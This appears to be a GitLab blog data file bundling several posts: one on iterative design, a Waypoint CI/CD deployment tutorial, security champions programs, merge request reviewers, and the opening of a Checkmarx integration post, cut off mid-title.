\n\nA series of incremental, step-wise MVCs make a feature more complete. It can often take multiple releases to discern if this is the right direction. However, we can also learn more and at a faster pace along the way. The inverse would be to ship extensive features that take longer to build, which means we're less likely to learn quickly.\n\nAt GitLab, we currently release in a 1-month milestone cadence. That said, there are many opportunities to learn faster, and we employ a variety of methods to do so. Designers work with Product Managers (PMs) to incrementally de-risk feature ideas. We break solutions down into smaller experiments, all while considering the impact of these experiments both in the short and long term. Our approach requires both divergent and convergent thinking at any given time on an idea. We need to think big to know what small changes will make sense within the broader vision.\n\n## Think Big: Define the Vision\n\nThinking big helps us keep a high-level view of the overall product while exploring ways to learn from small, valuable features that we can ship quickly. \n\nSo, what does it look like to _Think Big_? We start with a known problem and examine how that problem impacts our users, the organization, and the product as a whole. The [GitLab product development flow](https://about.gitlab.com/handbook/product-development-flow/) helps us balance being reactive to known issues while proactively identifying UX improvements. Before we begin to generate solutions for a problem we hear about, we first must weigh this problem against all others in our backlog.\n\nThis process of determining what to work on first can be a bit tricky at times. However, some of the criteria we consider when we prioritize include:\n1. New product category work\n2. Determining the next [maturity state](https://about.gitlab.com/direction/maturity/) for a product category (e.g., _viable_ to _complete_)\n3. The envisioned feature is large or introduces a significant change to the product's UX\n4. Understanding if a JTBD is relevant to why customers buy or use the product\n5. When targeting a new user or buyer persona\n\nOnce we've determined what we want to address first, ideas enter a phase known as [Problem Validation](https://about.gitlab.com/handbook/product-development-flow/#validation-phase-2-problem-validation). When a problem is known, our ideas for a solution also become more focused. An important signal to watch for revolves around whether we have a shared language about the problem, who feels it, and if we have a collection of reasonably small solution proposals. \n\nProduct and UX Research may work together to run studies, user interviews, competitor analysis, and other research efforts within the problem validation phase. We also review data from previous studies surrounding the [category maturity](https://about.gitlab.com/handbook/product/ux/category-maturity/category-maturity-scorecards/) and [System Usability Score (SUS)](https://about.gitlab.com/handbook/product/ux/ux-resources/#system-usability-score) results.\n\nAs the conversational thread coalesces around a viable range of solutions, we know what to do next. At this point, the idea may move into our [Design phase](https://about.gitlab.com/handbook/product-development-flow/#validation-phase-3-design), where we create wireframes and prototypes.\n\n## Solution Evolution\n\nAt GitLab, nothing should ever happen in a silo. If we are to think big, we need to be sure that we are sharing and collaborating on our ideas with others in the organization and even the wider GitLab community. \n\nThe [Design phase](https://about.gitlab.com/handbook/product-development-flow/#validation-phase-3-design) is often a highly collaborative phase involving at the very least: Design, Product (for insight on business needs, strategy and priorities), and Engineering (to help determine the feasibility of possible solutions). Others involved may include Tech Writing, UX Research, Sales, Customer Success, the CEO, and GitLab community members.\n\nThis phase's challenge is not to let the conversation stall or the participants get into _analysis paralysis_. As the DRI (directly responsible individual) of this phase, the Designer often needs to select a path and move forward.\n\nLastly, the [GitLab Pajamas design system](https://design.gitlab.com/) is an excellent resource for providing a solid foundation for UI and design patterns. It reduces the time needed to think through solutions and create visual deliverables for those solutions. Again, thinking about the big picture of being consistent while exploring ways to move fast and ship small.\n\nOnce design solutions are in place, the idea can move into the [Solution Validation phase](https://about.gitlab.com/handbook/product-development-flow/#validation-phase-4-solution-validation) to test and validate the MVC with users. Suppose users' feedback proves that the solution is right - meaning, it aligns with the business needs, and it's feasible. In that case, we can move into the [Planning Breakdown phase](https://about.gitlab.com/handbook/product-development-flow/#build-phase-1-plan), where it is weighted and prioritized by engineers.\n\n\n## Ship Small: Build and Ship\n\nAn aspect of GitLab's value proposition revolves around helping teams release faster and at a _sustainable_ pace. Organizations will evolve their workflows to fit their context. Every process seeks to understand what customers need, deploy the solution, and learn. We utilize our product to its fullest extent to accelerate iterations that converge toward optimal solutions to real-world problems.\n\nWe strive in the [Design phase](https://about.gitlab.com/handbook/product-development-flow/#validation-phase-3-design) to both understand the big picture and define the smallest [MVC](https://handbook.gitlab.com/handbook/values/#minimal-viable-change-mvc) solution. We use tools like [Figma](https://www.figma.com/community/plugin/860845891704482356/GitLab) to create prototypes and other deliverables. With Figma, engineers can view coded aspects of the design, saving time in translating design expectations during design hand-off.\n\nDesign and Engineering review the proposed solution and collaborate to:\n*   Ensure the MVC is as small as possible in terms of both the frontend and backend.\n*   Identify impacts on other areas of the product. \n*   Discuss possible performance issues.\n*   Decide whether to implement new vs. existing patterns and UI elements.\n\nAdditional design iterations could occur if the idea is still too large to deliver within a single milestone.\n\n## Learn Fast: Measure and Learn\n\nThroughout the entire GitLab Product Development Flow, we're learning. We're not just uncovering what needs our users have. We're also learning about ways to improve our methods to make our process more efficient. Because we ship small, our learnings can and should happen quickly. We're always exploring ways to get feedback faster from our users and empathize with their needs. We also [dogfood](https://about.gitlab.com/handbook/engineering/development/principles/#dogfooding) our product, which helps us to experience and identify the same usability and performance pains as our users. \n\nFinally, we regularly:\n*   Have 1:1 conversations with our users\n*   Evaluate quantitative data\n*   Document and tag the qualitative feedback for future reference\n*   Take action on insights\n\n## Conclusion \n\nPractice and theory don't always align. Sometimes, we'll realize later that we could have made something smaller or better. Instead of charging ahead with the plan, we take a step back and make the idea smaller. The ultimate goal of iteration is to release the smallest change possible to learn from real-world usage.\n\nWe also embrace contributions from team members and the wider community. In the words of [Jeremy Elder](https://gitlab.com/jeldergl): \"[In the cycle of iteration, there are multiple on-ramps](https://www.youtube.com/watch?v=apQTxlqZeBA&feature=youtu.be&list=PL05JrBw4t0KpgzLWbRCXf8o7iap-uoe7o&t=1278).\"\n\n\n## Explore further\n*   [GitLab design talks: Iteration](https://www.youtube.com/playlist?list=PL05JrBw4t0KpgzLWbRCXf8o7iap-uoe7o)\n*   [Presenting an MVC solution](https://about.gitlab.com/handbook/product/ux/product-designer/index.html#present-an-mvc-solution)\n*   [Conduct a Job statement activity with the team](https://about.gitlab.com/handbook/product/ux/jobs-to-be-done/)\n*   [Opportunity Canvas](https://about.gitlab.com/handbook/product-development-flow/#opportunity-canvas)\n*   [Improvement phase in the Product Development Flow](https://about.gitlab.com/handbook/product-development-flow/#build-phase-4-improve)\n",[2248,2249,2250,1307,2368],{"slug":21273,"featured":6,"template":678},"iterate-like-a-gitlab-designer","content:en-us:blog:iterate-like-a-gitlab-designer.yml","Iterate Like A Gitlab Designer","en-us/blog/iterate-like-a-gitlab-designer.yml","en-us/blog/iterate-like-a-gitlab-designer",{"_path":21279,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21280,"content":21286,"config":21291,"_id":21293,"_type":16,"title":21294,"_source":17,"_file":21295,"_stem":21296,"_extension":20},"/en-us/blog/use-waypoint-to-deploy-with-gitlab-cicd",{"title":21281,"description":21282,"ogTitle":21281,"ogDescription":21282,"noIndex":6,"ogImage":21283,"ogUrl":21284,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21284,"schema":21285},"How to use HashiCorp Waypoint to deploy with GitLab CI/CD","Learn how to use Waypoint using GitLab CI/CD by following this step-by-step demo.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679260/Blog/Hero%20Images/using-hashicorp-waypoint-deploy-gitlab-cicd.jpg","https://about.gitlab.com/blog/use-waypoint-to-deploy-with-gitlab-cicd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use HashiCorp Waypoint to deploy with GitLab CI/CD\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brendan O'Leary\"}],\n        \"datePublished\": \"2020-10-15\",\n      }",{"title":21281,"description":21282,"authors":21287,"heroImage":21283,"date":21288,"body":21289,"category":736,"tags":21290},[11790],"2020-10-15","\n\nHashiCorp announced a new project at [HashiConf Digital](https://hashiconf.com/) called [Waypoint](https://www.waypointproject.io/). \n\n## Hashicorp Waypoint\n\nHashicorp Waypoint uses an HCL based configuration file to describe how to build, deploy, and release applications to various cloud platforms, ranging from Kubernetes to AWS to Google Cloud Run. Think of Waypoint as if Terraform and Vagrant came together to describe how to build, deploy, and release your applications.\n\nTrue to form, Hashicorp released Waypoint as open source and with a lot of examples. The orchestration layer is up to you – Waypoint ships as a binary you can run right on your laptop or from whatever CI/CD orchestration tool you choose. Where you deploy is up to you as well since Waypoint shipped with support for Kubernetes, Docker, Google Cloud Run, AWS ECS, and a few others.\n\n## Benefits of Hashicorp Waypoint\n\nHashicorp Waypoint is an open-source developer workflow that can run from any laptop or CI/CD tool. Deployment is also easier because Hashicorp ships to several platforms like Kubernetes, AWS, and more. \n\nWhen using Hashicorp to build, deploy, and release applications, there are several features to keep in mind:\n\n* Waypoint provides a number of workflow examples as guides.\n\n* Build, deploy, and release your application with the single command of “waypoint up.”\n\n* Execute commands in a deployed application just as easily using “waypoint exec.”\n\n* Get a real-time look at application logs to help to debug quickly when necessary.\n\n## Orchestrating Waypoint using GitLab CI/CD\n\nUsing the fantastic [Waypoint documentation](https://www.waypointproject.io/docs) and the excellent [example applications](https://github.com/hashicorp/waypoint-examples) that HashiCorp provided, we decided to take a look at orchestrating Waypoint using [GitLab CI/CD](/topics/ci-cd/). To do this, we’ll start from the simple [AWS ECS Node.js app](https://github.com/hashicorp/waypoint-examples/tree/main/aws-ecs/nodejs) from the example repository.\n\nAfter cloning, we can see the structure of a Node.js application that displays a single page.\n\n![Folder structure of the Waypoint example and the page it produces](https://about.gitlab.com/images/blogimages/waypoint-example.png)\n\nYou’ll see that Dockerfile is missing from that project. There isn’t one included in the example, and we actually won’t need one because Waypoint is going to take care of that for us. Take a closer look at the `waypoint.hcl` file to see what it will do.\n\n```hcl\nproject = \"example-nodejs\"\n\napp \"example-nodejs\" {\n  labels = {\n\t\"service\" = \"example-nodejs\",\n\t\"env\" = \"dev\"\n  }\n\n  build {\n\tuse \"pack\" {}\n\tregistry {\n  \tuse \"aws-ecr\" {\n    \tregion = \"us-east-1\"\n    \trepository = \"waypoint-gitlab\"\n    \ttag = \"latest\"\n  \t}\n\t}\n  }\n\n  deploy {\n\tuse \"aws-ecs\" {\n  \tregion = \"us-east-1\"\n  \tmemory = \"512\"\n\t}\n  }\n}\n```\n\nIn the build step, Waypoint uses [Cloud Native Buildpacks (CNB)](https://buildpacks.io/) to detect the language of the project and create a Docker image without any Dockerfile. This is actually the same technology that GitLab uses as part of [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) in the Auto Build step. We’re excited to see CNB from the CNCF get more adoption by users in the industry.\n\nOnce that image is built, Waypoint will automatically push the image to our AWS ECR registry to get it ready for the deploy. Once the build has completed, the deploy step uses the [AWS ECS plugin](https://www.waypointproject.io/plugins/aws-ecs) to deploy our application to our AWS account.\n\nFrom my laptop, that’s easy. I can have Waypoint installed, be already authenticated to my AWS account, and it \"just works\". But what if I want to expand this beyond my laptop? And what if I want to automate this deployment as part of my overall CI/CD pipeline where all of my current unit, security, and other tests run today? That’s where GitLab CI/CD comes in!\n\n## Waypoint in GitLab CI/CD\n\nTo orchestrate all of this in GitLab CI/CD, let’s take a look at what we’ll need for our `.gitlab-ci.yml` file:\n\n1. First, we’ll need a base image to run inside of. Waypoint works on any Linux distribution and just needs Docker to run, so we can start from a generic Docker image.\n1. Next, we’ll install Waypoint to that image. In the future, we could build a [meta build image](/blog/building-build-images/) to containerize this process for us.\n1. Finally, we’ll run the Waypoint commands.\n\nAbove is all we’ll need for our pipeline to run the scripts required to get the deploy done, but we will need one more thing in order to deploy to AWS: We’ll have to authenticate to our AWS account. On [Waypoint’s roadmap](https://www.waypointproject.io/docs/roadmap), there are some mentions of plans around authentication and authorization. HashiCorp also released an exciting project in this space this week, [Boundary](https://www.boundaryproject.io/). But for now, we can handle authentication and authorization ourselves relatively simply.\n\nTo authenticate GitLab CI/CD with AWS, there are a few options. The first option is to use GitLab’s integration with [HashiCorp Vault](https://www.vaultproject.io/) if your team is already using Vault for credential management. Alternatively, if your team manages authorization through AWS IAM, you can ensure that the deploy job runs on a [GitLab runner](https://docs.gitlab.com/runner/) that is authorized to run the deployment with IAM. But if you’re just getting started with Waypoint and want to get going quickly, the final option is to add your AWS API Key and Secret Key as a [GitLab CI/CD variable](https://docs.gitlab.com/ee/ci/variables/) named `AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY`.\n\n## Putting it all together with Waypoint\n\nOnce the authentication is handled, we’re ready to go! Our final `.gitlab-ci.yml` looks like this:\n\n```yml\nwaypoint:\n  image: docker:latest\n  stage: build\n  services:\n    - docker:dind\n  # Define environment variables, e.g. `WAYPOINT_VERSION: '0.1.1'`\n  variables:\n    WAYPOINT_VERSION: ''\n    WAYPOINT_SERVER_ADDR: ''\n    WAYPOINT_SERVER_TOKEN: ''\n    WAYPOINT_SERVER_TLS: '1'\n    WAYPOINT_SERVER_TLS_SKIP_VERIFY: '1'\n  script:\n    - wget -q -O /tmp/waypoint.zip https://releases.hashicorp.com/waypoint/${WAYPOINT_VERSION}/waypoint_${WAYPOINT_VERSION}_linux_amd64.zip\n    - unzip -d /usr/local/bin /tmp/waypoint.zip\n    - rm -rf /tmp/waypoint*\n    - waypoint init\n    - waypoint build\n    - waypoint deploy\n    - waypoint release\n```\n\nYou can see that we start from the generic `docker:latest` image and set up some variables required by Waypoint. In the `script` section, we grab the latest Waypoint binary and install it to our local bin. Since our runner is already authorized with AWS, it’s as simple as running `waypoint init`, `build`, `deploy`, and `release`.\n\nThe output of the build job shows us the endpoint we’re deploying to:\n\n![Folder structure of the Waypoint example and the page it produces](https://about.gitlab.com/images/blogimages/waypoint-job-output.png)\n\nWaypoint is one of multiple [HashiCorp solutions that GitLab works great with](/partners/technology-partners/hashicorp/). For example, in addition to application delivery, we could orchestrate the underlying infrastructure with [Terraform through GiLab](https://docs.gitlab.com/ee/user/infrastructure/) as well. To standardize security in the SDLC, we could also integrate [GitLab with Vault](https://docs.gitlab.com/ee/ci/examples/authenticating-with-hashicorp-vault/) to manage secrets and tokens within CI/CD pipelines that provides consistency for developers and operators relying on secrets management during development testing as well as in production use.\n\nThe joint solutions developed by HashiCorp and GitLab are helping organizations find a better way for application development, and keeping delivery, and infrastructure management workflows in lock step. Waypoint is just another step in the right direction and we’re excited to see where the project goes from here. \n\n## Getting started with Hashicorp Waypoint\n\nYou can learn more about Waypoint at [waypointproject.io](https://www.waypointproject.io/). Also check out their [documentation](https://www.waypointproject.io/docs) and [roadmap](https://www.waypointproject.io/docs/roadmap) for the project. We have [contributed](https://github.com/hashicorp/waypoint/pull/492) everything we learned to the [GitLab CI/CD integration docs](https://www.waypointproject.io/docs/automating-execution/gitlab-cicd). You can also find a full working GitLab example in [this repository](https://gitlab.com/brendan-demo/waypoint) if you want to try it for yourself!\n",[3949,4103],{"slug":21292,"featured":6,"template":678},"use-waypoint-to-deploy-with-gitlab-cicd","content:en-us:blog:use-waypoint-to-deploy-with-gitlab-cicd.yml","Use Waypoint To Deploy With Gitlab Cicd","en-us/blog/use-waypoint-to-deploy-with-gitlab-cicd.yml","en-us/blog/use-waypoint-to-deploy-with-gitlab-cicd",{"_path":21298,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21299,"content":21305,"config":21310,"_id":21312,"_type":16,"title":21313,"_source":17,"_file":21314,"_stem":21315,"_extension":20},"/en-us/blog/why-security-champions",{"title":21300,"description":21301,"ogTitle":21300,"ogDescription":21301,"noIndex":6,"ogImage":21302,"ogUrl":21303,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21303,"schema":21304},"Why you need a security champions program","Faster releases, more open source code, and developers unlikely to have formal security training = at risk software apps. The solution? A security champions program.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664002/Blog/Hero%20Images/securitychampions.jpg","https://about.gitlab.com/blog/why-security-champions","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why you need a security champions program\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2020-10-14\",\n      }",{"title":21300,"description":21301,"authors":21306,"heroImage":21302,"date":21307,"body":21308,"category":674,"tags":21309},[11618],"2020-10-14","\nIn a recent survey of security professionals, Forrester Research found 33% of them had suffered a security breach. That’s not great news, but what was even more concerning is that the breaches were actually in the applications themselves, either via software vulnerabilities or web application flaws, explained [Amy DeMartine](https://www.forrester.com/Amy-DeMartine), VP and research director with Forrester. “What we’re seeing here is a nasty trend where applications are actually where malicious attackers...are getting into our sacred data,” Amy said during a presentation at our 2020 [virtual user conference Commit](/events/commit/). “(When it comes to security,) applications are actually getting worse and everything else is getting slightly better. So this is where we really need to tighten up. We really need to make sure that our applications are secure.”\n\nDevelopers and security pros certainly agree that apps need to be more secure, but it’s safe to say that’s where the consensus ends. In [GitLab’s 2020 Global DevSecOps Survey](/developer-survey/) we found plenty of finger-pointing in both directions. Most developers weren’t running enough SAST, DAST, or IAST scans and fewer than 25% of them actually were able to get their results within their IDEs. Security pros said developers found too few bugs too late in the process, and neither side could come to any agreement on the question of security “ownership.” \n\nClearly there’s room for (major) improvement. To “fit the square peg of security into the round hole of DevOps” Amy said the solution was a security champions program, something that will help bridge the wide and pervasive gap between the two sides.\n\n_Our [2022 Global DevSecOps Survey](https://about.gitlab.com/developer-survey/previous/2022/) is out now! Learn the latest in DevOps insights from over 5,000 DevOps professionals._\n\n## Begin at the beginning\n\nBefore a [DevOps team](/topics/devops/) can think about a security champion, Amy shed some light on the culture clash. Developers are measured on quality and customer feedback, two areas directly impacted by security, so that’s a good place to start, she said. Also developers want to release code more quickly, invest in more automation, and increase the use of open source code because they’re handy building blocks that make it easier to create code more quickly. But while open [source code](/solutions/source-code-management/) is handy, it’s often vulnerable; Forrester found 50% increases in open source code vulnerabilities in 2018 and 2019. \n\n“So we may not be doing the right kind of checks that we should be doing to release these open source components,” Amy said. “And the developers are going to need help with this. They're going to need to understand when not to include a common component, what common component to use? What's safe?”\n\nUnfortunately, devs may literally not know the answers to those questions because they may have had absolutely no professional training in security. Forrester examined the top 40 computer science programs in the US last year and found none of them taught secure coding practices. “So our developers, even the ones coming out of university today, do not know how to write secure code,” she said. “They don't understand that open source may have vulnerabilities, they don't know how to remediate weaknesses like SQL injection or cross-site scripting. And so as security pros, we really need to empathize with developers as they are trying to create good quality code that has great customer feedback, they don't know how to secure it, and that's where we come in.”\n\n## Enter the champion\n\nAmy doesn’t see the American universities changing their curriculum substantially in the near future, nor does she have a lot of faith in one-off “security training classes.” Her take: Developers need to learn about security right in the moment while guided by a champion. “The best way to do this is to stop them once we know they’ve got a security flaw and say, ‘Hey, you’ve got a SQL injection or you’ve got cross-site scripting.’ And hopefully the security tool is able to give them the remediation advice in the form of sample code. It’s all about about ‘How do I learn right in this moment?’”\n\nIn an ideal world, a security champion will be that person who can bridge the gap between development and security, up to and including speaking *both* languages, Amy stressed. “(A security champion)...can translate the fact that security flaws equal quality issues. And they're able to make it real for developers that oftentimes security pros aren't able to make it real for them. Plus they're part of the team, so they're automatically trusted.” Done right, the champion answers the questions in real time and speeds up the learning curve and the delivery cycle.\n\n## Make it happen\n\nTo get that obvious win-win in your organization, start by making the case, getting support, and finding funding, Amy said. “Even in this time of budget cuts it’s important to make sure you highlight the fact that what you’re trying to do is make your developers faster and have less flaws,” she said. Funding should come from both development and security. \n\nAfter that, it’s critical to pick the right security leaders; they’ll train the champions so they need to be empathetic to developers. The right candidates for champions will be those who ask a lot of questions about security, are naturally good at finding flaws, and are inclined to help others, Amy offered. Once they’re in place, the security leaders need to train them on the common issues and how to fix them.\n\nFrom there, it’s a matter of supporting, rewarding, and cheering them on, she stressed. Contests and friendly competitions “can go a long way to keeping developers interested and active as champions,” she said.\n\n## Pay attention to results\n\nThe final step in establishing a security champions program is measuring, monitoring, and continuously improving, Amy said. “If you see a huge uptick in SQL injection, it’s probably time to do some education either with a specific team or across the board.”\n\nIt will take some effort, she said, but it’s how companies are going to scale security successfully. “It’s not just automation (that leads to scale), but it’s also your security champions. (Focus on) those people who are embedded inside the developer teams.”\n\nWatch Amy’s full presentation:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/yX-uEkdpw2w\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nCover image by [Joel Filipe](https://unsplash.com/@joelfilip) on [Unsplash](https://unsplash.com)\n{: .note}\n\n_Our [2022 Global DevSecOps Survey](/developer-survey/) is out now! Learn the latest in DevOps insights from over 5,000 DevOps professionals._\n",[674,2952,8570],{"slug":21311,"featured":6,"template":678},"why-security-champions","content:en-us:blog:why-security-champions.yml","Why Security Champions","en-us/blog/why-security-champions.yml","en-us/blog/why-security-champions",{"_path":21317,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21318,"content":21324,"config":21329,"_id":21331,"_type":16,"title":21332,"_source":17,"_file":21333,"_stem":21334,"_extension":20},"/en-us/blog/merge-request-reviewers",{"title":21319,"description":21320,"ogTitle":21319,"ogDescription":21320,"noIndex":6,"ogImage":21321,"ogUrl":21322,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21322,"schema":21323},"Code review made easier thanks to merge request reviewers in GitLab 13.7","Code review is a critically important part of the software development, but it can be hard – and time consuming – to arrange. That's where our new merge request reviewers feature comes in. Here's what to look for in our 13.7 release.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681664/Blog/Hero%20Images/merge_request_reviewers.jpg","https://about.gitlab.com/blog/merge-request-reviewers","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Code review made easier thanks to merge request reviewers in GitLab 13.7\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Daniel Gruesso\"}],\n        \"datePublished\": \"2020-10-13\",\n      }",{"title":21319,"description":21320,"authors":21325,"heroImage":21321,"date":21326,"body":21327,"category":736,"tags":21328},[19285],"2020-10-13","\n\nEdit: This feature was originally planned for the 13.5 release but has now been rescheduled to the 13.7 release in order to address some performance improvements.\n{: .alert .alert-info .note}\n\nRequesting a code review is an important part of contributing code to any software project. However, deciding _who_ should review your code and asking for a review are no easy tasks. Historically, teams making use of [merge requests](/solutions/continuous-integration/) for their code review needs have used the \"assignee\" field for both authors and reviewers but this makes it hard for others to determine who's doing what on a merge request; for example, consider a merge request with a single author and 2 reviewers. If all parties are on the “assignee” field at once, it is hard for an external user to find out who to reach out for something specific.\n\nThe back-and-forth between authors and reviewers causes the author to go through MR history to find the original reviewer as well as unnecessary assigning back and forth from everyone. Peers who are coming on to assist cannot easily find relevant players for this merge request. Lastly, the merge request author does not know if a reviewer has reviewed but not approved the changes, or if more work is needed from them.\n\n## GitLab code reviews\n\nWhether or not code is good quality can’t be taken on faith; code quality needs to be checked. GitLab makes it easy to collaborate on code reviews within a merge request.\nIn GitLab, users can assign one or more code reviewers to a source project. Collaboration in merge requests with GitLab reviewers helps deployments go more smoothly. The code reviewer option in GitLab is available on GitLab Premium and GitLab Ultimate.\n\n## Merge requests and code reviews\nThe merge request Reviewers feature in GitLab allows for a review of your work and to see the critique progress status. The “suggest changes” feature lets a colleague suggest alterations that the original author can choose to accept or not, just with the click of a button. And, of course, every change made to a block of code can be reviewed before it goes live.\n\n### Feature branches and code reviews\nCreating a new feature branch or new code automatically kicks off a merge request, and that is the place to request a code review. In the MR, inline code reviews can be performed either on a single line or multiple lines of code, and a reviewer can leave comments. A feature branch allows for changes to be made to the codebase without them moving onto the main default branch.\n\nAfter the merge request and code review are complete, feature branches can be deleted to keep the source code repository clean as possible. It’s also possible to add time tracking to an MR to discern how long the process, including the code review, takes from beginning to end.\n\nThe merge request widget helps delete these feature branches once a merge request and code review are done. This can be set up to happen as you create the initial MR by choosing the “delete source branch when merge request accepted” selection. That way, the branch gets deleted after the MR is merged.\n\n### Improving code reviews\n\nTo bridge these gaps, GitLab 13.7 introduces merge request \"reviewers,\" which easily allows authors to request a review as well as see the status of the review. By simply selecting one or more users from the \"reviewers\" field, the assigned reviewers will receive a notification of the request to review the merge request. This makes it easy to determine the relevant roles for the users involved in the merge request, as well as formally requesting a review from a peer.\n\n![Merge request reviewers](https://about.gitlab.com/images/blogimages/reviewers_sidebar.png){: .shadow.center}\nScreenshot from upcoming GitLab 13.7 release\n{: .note.text-center}\n\n### What's next\n\nFuture improvements include [suggesting the most relevant reviewers](https://gitlab.com/gitlab-org/gitlab/-/issues/195781) as well as [streamlining the approval rules](https://gitlab.com/gitlab-org/gitlab/-/issues/231244) experience when paired with reviewers.\n\nWe are excited to see this feature ship soon to GitLab.com and for self-managed users on October 22nd. As always, we encourage you to participate in the conversation by visiting the related [reviewers epic](https://gitlab.com/groups/gitlab-org/-/epics/1823) in the GitLab project.\n\nCover image by [Kevin Ku](https://unsplash.com/@ikukevk) on [Unsplash](https://unsplash.com/photos/w7ZyuGYNpRQ)\n{: .note}\n",[1207,2368],{"slug":21330,"featured":6,"template":678},"merge-request-reviewers","content:en-us:blog:merge-request-reviewers.yml","Merge Request Reviewers","en-us/blog/merge-request-reviewers.yml","en-us/blog/merge-request-reviewers",{"_path":21336,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21337,"content":21343,"config":21348,"_id":21350,"_type":16,"title":21351,"_source":17,"_file":21352,"_stem":21353,"_extension":20},"/en-us/blog/checkmarx-integration",{"title":21338,"description":21339,"ogTitle":21338,"ogDescription":21339,"noIndex":6,"ogImage":21340,"ogUrl":21341,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21341,"schema":21342},"Get the most out of the Checkmarx integration with GitLab","Make it easier for developers to find bugs and for dev and sec to get along. Here’s what you need to know about the GitLab/Checkmarx integration.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681659/Blog/Hero%20Images/checkmarx.jpg","https://about.gitlab.com/blog/checkmarx-integration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Get the most out of the Checkmarx integration with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2020-10-12\",\n      }",{"title":21338,"description":21339,"authors":21344,"heroImage":21340,"date":21345,"body":21346,"category":734,"tags":21347},[11618],"2020-10-12","\n\nIn our 2020 Global DevSecOps survey, 65% of respondents said their organizations were shifting security left. Shifting left is the holy grail of [DevOps](/topics/devops/), certainly, but there’s reason to believe most organizations actually aren’t quite *left* enough: Less than 20% of respondents said developers were able to access either SAST or DAST scans from within their pipelines or IDEs.\n\nIt’s perhaps not surprising that, in the [same survey](/developer-survey/), security pros complained rather bitterly about developers finding too few bugs too late in the process.\n\nOne solution to this problem is to [integrate application security testing](/topics/devsecops/) earlier and actually within a development tool. During [our 2020 virtual user conference](/events/commit/), Commit, [James Brotsos](https://www.linkedin.com/in/jbrotsos/), a senior solutions engineer with [Checkmarx](https://www.checkmarx.com), walked attendees through the process of integrating his company’s security testing platform with GitLab.\n\n“(Integrating app security testing) really does free up time to focus on things that actually matter to developers, which is writing code,” James said during his presentation. “With this methodology, we are shifting far left into the software development life cycle. We still are providing governance and gating capabilities, constantly scanning the latest code and this replaces the need to scan it in the IDE.”\n\n## Getting started\n\nTo get the most out of an integrated security testing platform, James said companies should start by making a series of decisions: \n\nWhat do you want to scan? Commits or merge requests?\nWhen do you want to scan? Nightly, weekly, more often?\nHow do you want the data? Via the Checkmarx platform, emails, Slack messages, inside GitLab or through auto ticket creation?\n\n“We have an interactive security testing platform which is an agent that runs on a test server,” James explained. “It’s running your code, it monitors traffic driven from functional tests and it could run security types of queries on top of that. We provide… all these types of vulnerabilities and we train you how to fix them.”\n\nAt the heart of the GitLab integration with Checkmarx is CxFlow, a spring boot application that initiates scans and pursues results, James said. Scanning is initiated by integrating with [GitLab’s CI/CD](/topics/ci-cd/), or through a merge request or pushed code, triggering an already existing pipeline. That pipeline needs just a single edit to include the stage to execute a security scan.\n\nThe integration is completely customizable and developers can get what they need when they need it. CxFlow drives a result feedback loop so no manual intervention is required and developers can filter the types of defects created based on any filtering criteria. “The results are easy to consume in a way that developers want to consume them… and the results are actionable,” James said.\n\nWhen it comes to defect tracking, CxFlow solves the problem of having the same vulnerability type in the same file by creating just a single issue where the ticket automatically closes once its been dealt with. And developers can choose how they receive feedback: through GitLab’s security dashboard or issues, or through Jira, email, ServiceNow and Rally.\n\n## The nuts and bolts\n\nTo tie security scanning into GitLab, start by setting up the global variables that will allow access to the Checkmarx server. After that the CI/CD pipeline can kick off. Separate the Checkmarx stages from the GitLab CI file – you don’t want to “pollute” any existing YAML file set up by your DevOps team. Just include another YAML file with this stage or extension and that will allow you to have the Checkmarx-specific information which will kick off the CxFlow CLI.\n\nSo once the CxFlow starts to run inside that container, it will initiate a scan inside Checkmarx. The results will be sent back to CxFlow. “Depending on how you want to consume those results, we can update the security dashboard, we can update the issues, we can update the merge request, or we can update all three of them at the same time,” James said.\n\nCxFlow can also create issues automatically that can then be triaged to an epic or assigned to a specific user. “This way you can treat all security vulnerabilities as you would any other defect or any other kind of issue,” James said.\n\n“This is a pretty effortless option for the development teams to scan projects quickly,” James said. “There is no overhead when configuring and managing these builds. You can quickly automate the scan of multiple repositories and there's no overhead in configuring and managing all of these different repos that you might have.”\n\n## A deeper dive\n\nA more detailed look at this project can be found [on the Checkmarx website](https://checkmarx.atlassian.net/wiki/spaces/SD/pages/1929937052/GitLab+Integration) or watch the entire Commit presentation:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/W1Wk3PN0o1M\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nCover image by [JJ Ying](https://unsplash.com/@jjying) on [Unsplash](https://unsplash.com)\n{: .note}\n",[674,1207,8570],{"slug":21349,"featured":6,"template":678},"checkmarx-integration","content:en-us:blog:checkmarx-integration.yml","Checkmarx 